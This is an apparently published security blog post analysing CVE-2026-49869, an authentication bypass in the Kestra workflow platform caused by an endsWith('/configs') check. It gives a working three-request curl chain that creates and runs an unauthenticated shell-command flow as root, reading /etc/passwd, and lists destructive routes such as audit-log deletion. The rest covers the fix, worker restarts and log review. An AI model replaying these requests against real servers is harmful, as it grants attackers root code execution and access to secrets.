October 15, 2026
If It Ends the Same, Let It Through” — The Comparison Operator That Broke Kestra (CVE-2026–49869)
On September 2, 2026, CISA added CVE-2026–49869 to its Known Exploited Vulnerabilities (KEV) catalog. That’s not a theoretical risk — it…
By Guidancewhite
4 min read
On September 2, 2026, CISA added CVE-2026–49869 to its Known Exploited Vulnerabilities (KEV) catalog. That's not a theoretical risk — it means exploitation has been confirmed in the wild — and federal agencies were given until September 5 to remediate. The CVSS score is a perfect 10.0. And if you trace the entire incident back to its source, it comes down to a single string-comparison method call in Java.
request.getPath().endsWith("/configs")request.getPath().endsWith("/configs")That's the whole bug. "Does the path end in /configs?" and "is this path exactly the config endpoint?" sound similar, but they're entirely different questions — and Kestra's authentication filter mixed the two up.
At a glance
- Target: Kestra OSS (open-source, event-driven workflow orchestration platform)
- Affected versions: below 1.0.45, and 1.1.0 up to (not including) 1.3.21
- Fixed in: 1.0.45, 1.3.21
- CVSS 3.1: 10.0 (Critical)
- Authentication: none required — everything shown in this post works with zero credentials
- CISA KEV listing: 2026–09–02, federal remediation deadline 2026–09–05
- Outcome: root-level remote code execution inside the worker container
The design intent was reasonable
Kestra has exactly one API that has to work before a login screen exists: GET /api/v1/configs, which reads base settings like the auth mode and feature flags. Since you need to read login configuration before you've logged in, this one endpoint had to be an exception in AuthenticationFilter.
// webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java:49
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
|| ...;
if (isConfigEndpoint || isOpenUrl || isManagementEndpoint(request) || mcpAuthHandled) {
return chain.proceed(request);
}// webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java:49
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
|| ...;
if (isConfigEndpoint || isOpenUrl || isManagementEndpoint(request) || mcpAuthHandled) {
return chain.proceed(request);
}Nothing wrong with the design so far. The problem is in how "is this request the config endpoint?" actually got implemented.
The flaw shows up the moment you try a counterexample
endsWith() only looks at the tail of a string. It doesn't care what comes before it.
"/api/v1/main/configs".endsWith("/configs")
// → true (the intended path)
"/api/v1/main/flows/tutorial/configs".endsWith("/configs")
// → true (not intended - but the result is identical)"/api/v1/main/configs".endsWith("/configs")
// → true (the intended path)
"/api/v1/main/flows/tutorial/configs".endsWith("/configs")
// → true (not intended - but the result is identical)Kestra's REST API embeds a caller-chosen name directly into the path, as in /flows/{namespace}/{flowId}. Name your flowId configs, and almost every request related to that flow ends in /configs. To endsWith(), both are simply "a path ending in configs" — there's no way to tell them apart.
This single line turned out to expose more than one route:
PUT /api/v1/{tenant}/flows/{namespace}/configs— create/overwrite a flowPOST /api/v1/{tenant}/executions/{namespace}/configs— run a flowPUT /api/v1/{tenant}/namespaces/{namespace}/kv/configs— write to the key-value storeDELETE /api/v1/{tenant}/flows/{namespace}/configs— delete a flowDELETE /api/v1/{tenant}/dashboards/configs— delete a dashboardDELETE /api/v1/{tenant}/logs/{namespace}/configs— destroy audit logs
Just the flow-creation and flow-execution routes alone are enough to complete a full RCE chain.
Reproducing the attack — three requests, zero credentials
1. Create a flow named "configs" carrying a shell command.
curl -X PUT \
-H "Content-Type: application/x-yaml" \
"http://<target>/api/v1/main/flows/tutorial/configs" \
--data-binary '
id: configs
namespace: tutorial
tasks:
- id: rce
type: io.kestra.plugin.scripts.shell.Commands
commands:
- id
- hostname
- cat /etc/passwd'
# → HTTP 200 OKcurl -X PUT \
-H "Content-Type: application/x-yaml" \
"http://<target>/api/v1/main/flows/tutorial/configs" \
--data-binary '
id: configs
namespace: tutorial
tasks:
- id: rce
type: io.kestra.plugin.scripts.shell.Commands
commands:
- id
- hostname
- cat /etc/passwd'
# → HTTP 200 OKBecause the request path /api/v1/main/flows/tutorial/configs ends in /configs, AuthenticationFilter treats it exactly like a config-read request and lets it straight through.
2. For the same reason, run that flow — unauthenticated.
curl -X POST "http://<target>/api/v1/main/executions/tutorial/configs"
# → {"id":"4eeB6vY7FT3mSj5FGYRrXW", "state":{"current":"RUNNING"}, ...}curl -X POST "http://<target>/api/v1/main/executions/tutorial/configs"
# → {"id":"4eeB6vY7FT3mSj5FGYRrXW", "state":{"current":"RUNNING"}, ...}Kestra ships with shell, Python, Node, and other script-execution plugins enabled by default, and the worker process runs inside its container as uid=0(root) out of the box. The flow just created has exactly one task — "run this shell command" — and that command executes with root privileges.
[INFO] uid=0(root) gid=0(root) groups=0(root)
[INFO] root:x:0:0:root:/root:/bin/bash
[DEBUG] Command succeed with exit code 0[INFO] uid=0(root) gid=0(root) groups=0(root)
[INFO] root:x:0:0:root:/root:/bin/bash
[DEBUG] Command succeed with exit code 03. Retrieve the output — also unauthenticated, thanks to the same flaw.
curl "http://<target>/api/v1/main/logs/search?executionId=4eeB6vY7FT3mSj5FGYRrXW"curl "http://<target>/api/v1/main/logs/search?executionId=4eeB6vY7FT3mSj5FGYRrXW"Create, run, retrieve. None of these three HTTP requests carries an Authorization header. The attacker never touches a login screen, yet runs commands inside the server and reads the results straight back.
It's also worth noting that "there must be some gate before this" is the wrong assumption here
Since this is a workflow platform, you might assume reaching the default tenant at all requires some prior access. It doesn't: Kestra's default tenant (main) and default namespace are reachable through the API path with zero extra configuration. In other words, exploiting this requires almost no reconnaissance or guessing — sending a request with the exact default tenant/namespace names straight out of the official docs is enough.
Why this kind of mistake slips past code review
It's easy to blame whoever wrote endsWith(), but the pattern keeps recurring for specific, structural reasons.
- Tests only validate the one correct path. A test that hits
/api/v1/configsand checks the config loads correctly passes just fine. The counterexample — "what happens if I send/api/v1/flows/x/configs?" — only surfaces if someone deliberately goes looking for it. - The auth whitelist and the resource-naming scheme get designed separately. "Flow names are chosen freely by the caller" and "a path ending in
/configsskips auth" can each be perfectly reasonable decisions made by people who never saw how the other interacts with theirs. - Nobody scrutinizes which kind of match is being used.
startsWith(),endsWith(), andcontains()are all partial matches, and none of them is safe once a user-controlled value becomes part of the path. Any comparison that gates authentication has to be an exact, full match (equals) against a fixed, predefined set — no exceptions.
This lesson isn't specific to Kestra. An overly permissive Spring Security AntPathMatcher configuration, or an Nginx location block with broader prefix matching than intended, are fundamentally the same category of mistake.
The patch — and why the patch alone isn't the end of the story
Kestra 1.0.45 and 1.3.21 replaced this comparison with an exact path match. Authentication is now skipped only when the request path is precisely the real config-read path (/api/v1/configs, /api/v1/{tenant}/configs), so naming a flow configs no longer exempts any path from auth.
There's an operational trap worth flagging here. If only the webserver image gets updated and the worker containers aren't restarted, the vulnerable process keeps running. The worker is what actually holds command-execution privileges, so the patch only takes effect once the worker itself is replaced.
What to check right now
- Have you updated Kestra — 1.0.45 for the 1.0.x branch, or 1.3.21 for the 1.1.x–1.3.x branch?
- Did you restart the worker containers after updating, not just the webserver?
- Are you aware that a reverse proxy in front of Kestra doesn't help here — the broken comparison runs inside Kestra's own internal filter chain, so a proxy never gets the chance to block it?
- Have you checked access logs for the exposure window for unusual flow or execution requests ending in
/configs? - Do you have a plan to rotate any secrets, service credentials, or cloud IAM roles the worker could reach?